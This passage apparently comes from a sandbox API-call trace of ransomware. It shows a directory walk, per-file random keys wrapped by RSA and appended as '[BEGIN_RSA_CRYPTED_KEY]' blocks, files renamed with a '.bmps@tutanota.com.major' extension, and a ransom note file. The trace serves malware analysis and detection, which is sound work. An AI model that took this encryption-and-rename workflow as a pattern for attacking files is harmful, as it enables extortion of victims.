Size=0x90) returned 0x5a10c8 [0141.517] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0141.517] CreateFileW (lpFileName="\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d4 [0141.517] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3859) returned 1 [0141.518] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf13) returned 0x60d870 [0141.518] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf13) returned 0x60e790 [0141.518] ReadFile (in: hFile=0x4d4, lpBuffer=0x60d870, nNumberOfBytesToRead=0xf13, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60d870*, lpNumberOfBytesRead=0x2e3f9b4*=0xf13, lpOverlapped=0x0) returned 1 [0141.528] SetFilePointer (in: hFile=0x4d4, lDistanceToMove=-3859, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.528] WriteFile (in: hFile=0x4d4, lpBuffer=0x60e790*, nNumberOfBytesToWrite=0xf13, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60e790*, lpNumberOfBytesWritten=0x2e3f9b4*=0xf13, lpOverlapped=0x0) returned 1 [0141.528] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d870 | out: hHeap=0x570000) returned 1 [0141.528] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e790 | out: hHeap=0x570000) returned 1 [0141.528] SetFilePointer (in: hFile=0x4d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xf13 [0141.528] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0141.529] WriteFile (in: hFile=0x4d4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0141.529] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0141.529] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0141.529] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0141.529] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0141.529] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="0hIhy2HOwScom44fiGBZKE7q+nrT+5flR8MzEsEVs26UU/M7xTNwcNXTXwH7JBUM\nya9g4nLbmL9SNBJHZ9gesM8ji2t/vUK3WOdTYOx9VGswJDiu/nBnzzIoVwWWsBD/\n8UEp6ZbgqVDKKTR7W4UgV0luuVGlH9B1buryT3zG1nlHDmGrWz0Gd/I0Hu5m38h5\npo74XtK3dObtChrY0w/kOMPmJlbtJ2lpXsSTvz6eJ2qU/8bCIBviO/rbmC9+se+N\nWBT04+JhsmfgjQWFpyJGOg1N5eztkdPpuOBRT5z35pFuR/E26svSyZLSe+GslGxp\nRyrwOwdRHdVJO7RUvo7BCA==\n", pcchString=0x2e3f9a8) returned 1 [0141.529] WriteFile (in: hFile=0x4d4, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0141.529] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0141.529] WriteFile (in: hFile=0x4d4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0141.529] CloseHandle (hObject=0x4d4) returned 1 [0141.530] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0141.530] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\1055\\eula.rtf.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0141.531] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0141.531] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0141.531] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bef20 | out: hHeap=0x570000) returned 1 [0141.531] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0141.531] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0141.531] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0141.531] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0141.531] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccb0 | out: hHeap=0x570000) returned 1 [0141.531] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x40780, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5b5670 [0141.532] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0141.532] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7720 [0141.532] GetLastError () returned 0x0 [0141.532] SetLastError (dwErrCode=0x0) [0141.532] GetLastError () returned 0x0 [0141.532] SetLastError (dwErrCode=0x0) [0141.532] GetLastError () returned 0x0 [0141.532] SetLastError (dwErrCode=0x0) [0141.532] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e900 [0141.532] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0141.532] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0141.532] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0141.532] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b52b0 [0141.532] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b52b0 | out: hHeap=0x570000) returned 1 [0141.532] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40540 [0141.532] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40540 | out: hHeap=0x570000) returned 1 [0141.532] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0141.532] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e900 | out: hHeap=0x570000) returned 1 [0141.532] FindNextFileW (in: hFindFile=0x5b5670, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x40780, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0141.532] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7720 | out: hHeap=0x570000) returned 1 [0141.532] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0141.532] GetLastError () returned 0x0 [0141.532] SetLastError (dwErrCode=0x0) [0141.532] GetLastError () returned 0x0 [0141.532] SetLastError (dwErrCode=0x0) [0141.532] GetLastError () returned 0x0 [0141.532] SetLastError (dwErrCode=0x0) [0141.532] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e900 [0141.532] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bee70 [0141.532] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee70 | out: hHeap=0x570000) returned 1 [0141.532] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0141.532] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b55b0 [0141.532] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b55b0 | out: hHeap=0x570000) returned 1 [0141.532] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40558 [0141.532] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40558 | out: hHeap=0x570000) returned 1 [0141.533] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0141.533] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e900 | out: hHeap=0x570000) returned 1 [0141.533] FindNextFileW (in: hFindFile=0x5b5670, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x16c3, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0141.533] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0141.533] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0141.533] GetLastError () returned 0x0 [0141.533] SetLastError (dwErrCode=0x0) [0141.533] GetLastError () returned 0x0 [0141.533] SetLastError (dwErrCode=0x0) [0141.533] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0141.533] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0141.533] GetLastError () returned 0x0 [0141.533] SetLastError (dwErrCode=0x0) [0141.533] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0141.533] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0141.533] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0141.533] FindNextFileW (in: hFindFile=0x5b5670, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed0c, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0141.533] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0141.533] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0141.533] GetLastError () returned 0x0 [0141.533] SetLastError (dwErrCode=0x0) [0141.533] GetLastError () returned 0x0 [0141.533] SetLastError (dwErrCode=0x0) [0141.533] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0141.533] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0141.533] GetLastError () returned 0x0 [0141.533] SetLastError (dwErrCode=0x0) [0141.533] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed98 [0141.534] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed98 | out: hHeap=0x570000) returned 1 [0141.534] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0141.534] FindNextFileW (in: hFindFile=0x5b5670, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x170fd, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x170fd, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x40780, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0141.534] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0141.534] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0141.534] GetLastError () returned 0x0 [0141.534] SetLastError (dwErrCode=0x0) [0141.534] GetLastError () returned 0x0 [0141.534] SetLastError (dwErrCode=0x0) [0141.534] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6ca0 [0141.534] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7570 | out: hHeap=0x570000) returned 1 [0141.534] GetLastError () returned 0x0 [0141.534] SetLastError (dwErrCode=0x0) [0141.534] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0141.534] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0141.534] FindNextFileW (in: hFindFile=0x5b5670, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0141.534] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6ca0 | out: hHeap=0x570000) returned 1 [0141.534] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7450 [0141.534] GetLastError () returned 0x0 [0141.534] SetLastError (dwErrCode=0x0) [0141.534] GetLastError () returned 0x0 [0141.534] SetLastError (dwErrCode=0x0) [0141.534] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0141.534] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7450 | out: hHeap=0x570000) returned 1 [0141.535] GetLastError () returned 0x0 [0141.535] SetLastError (dwErrCode=0x0) [0141.535] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eb68 [0141.535] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eb68 | out: hHeap=0x570000) returned 1 [0141.535] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b69e8 [0141.535] FindNextFileW (in: hFindFile=0x5b5670, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0141.535] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6508 [0141.535] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0141.535] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0141.535] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\2052\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0141.535] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6570 [0141.535] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0141.535] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6570 | out: hHeap=0x570000) returned 1 [0141.535] CreateFileW (lpFileName="\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d8 [0141.535] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=14168) returned 1 [0141.535] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3758) returned 0x60d870 [0141.535] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3758) returned 0x610fd0 [0141.535] ReadFile (in: hFile=0x4d8, lpBuffer=0x60d870, nNumberOfBytesToRead=0x3758, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60d870*, lpNumberOfBytesRead=0x2e3f9b4*=0x3758, lpOverlapped=0x0) returned 1 [0141.669] SetFilePointer (in: hFile=0x4d8, lDistanceToMove=-14168, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.669] WriteFile (in: hFile=0x4d8, lpBuffer=0x610fd0*, nNumberOfBytesToWrite=0x3758, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x610fd0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3758, lpOverlapped=0x0) returned 1 [0141.669] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d870 | out: hHeap=0x570000) returned 1 [0141.669] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x610fd0 | out: hHeap=0x570000) returned 1 [0141.669] SetFilePointer (in: hFile=0x4d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3758 [0141.669] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0141.669] WriteFile (in: hFile=0x4d8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0141.669] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0141.670] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0141.670] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0141.670] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0141.670] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="4KbHg29I8Hpa0PIyh+KReEjbaK3B0ODKuD6MvOpPRhEQhpB8f3HlZixfqnsE7WnL\nZftsVk57pzV9Y+zm29jTZd/VWcvnffgg37eCCVq6VNGbFeKJtKwasoJlQaRWZ8ab\nEQvtxS/C/CvKd1yCinF4JJktLhfdXnJNSyfCRBsIIbTJTBCUo7YI1X6fFyUmj3vC\nzdnk2TVwZ5lAiVBBfWHhRJhJI8ymMimZzkfNO9Cvsd6MPR2I5QX7OYRNXNjleC4A\n8vqsX14Gk2cyvpdGC03kqbvvK89l/dOhwTOwOUGVN81ejKoKcj+La3470XVW1xyD\nAJG/EKQ+thUJEMdBHz1LSw==\n", pcchString=0x2e3f9a8) returned 1 [0141.670] WriteFile (in: hFile=0x4d8, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0141.670] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0141.670] WriteFile (in: hFile=0x4d8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0141.670] CloseHandle (hObject=0x4d8) returned 1 [0141.670] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0141.670] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\2052\\SetupResources.dll.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0141.672] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0141.672] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0141.672] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6508 | out: hHeap=0x570000) returned 1 [0141.672] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0141.672] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6710 [0141.672] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0141.672] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0141.672] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\2052\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0141.672] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b67e0 [0141.673] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0141.673] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b67e0 | out: hHeap=0x570000) returned 1 [0141.673] CreateFileW (lpFileName="\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d8 [0141.673] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=60684) returned 1 [0141.673] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xed0c) returned 0x60d870 [0141.673] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xed0c) returned 0x2f40048 [0141.673] ReadFile (in: hFile=0x4d8, lpBuffer=0x60d870, nNumberOfBytesToRead=0xed0c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60d870*, lpNumberOfBytesRead=0x2e3f9b4*=0xed0c, lpOverlapped=0x0) returned 1 [0141.691] SetFilePointer (in: hFile=0x4d8, lDistanceToMove=-60684, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.691] WriteFile (in: hFile=0x4d8, lpBuffer=0x2f40048*, nNumberOfBytesToWrite=0xed0c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f40048*, lpNumberOfBytesWritten=0x2e3f9b4*=0xed0c, lpOverlapped=0x0) returned 1 [0141.691] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d870 | out: hHeap=0x570000) returned 1 [0141.692] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f40048 | out: hHeap=0x570000) returned 1 [0141.692] SetFilePointer (in: hFile=0x4d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xed0c [0141.692] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0141.692] WriteFile (in: hFile=0x4d8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0141.692] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0141.692] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0141.693] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0141.693] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0141.693] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: 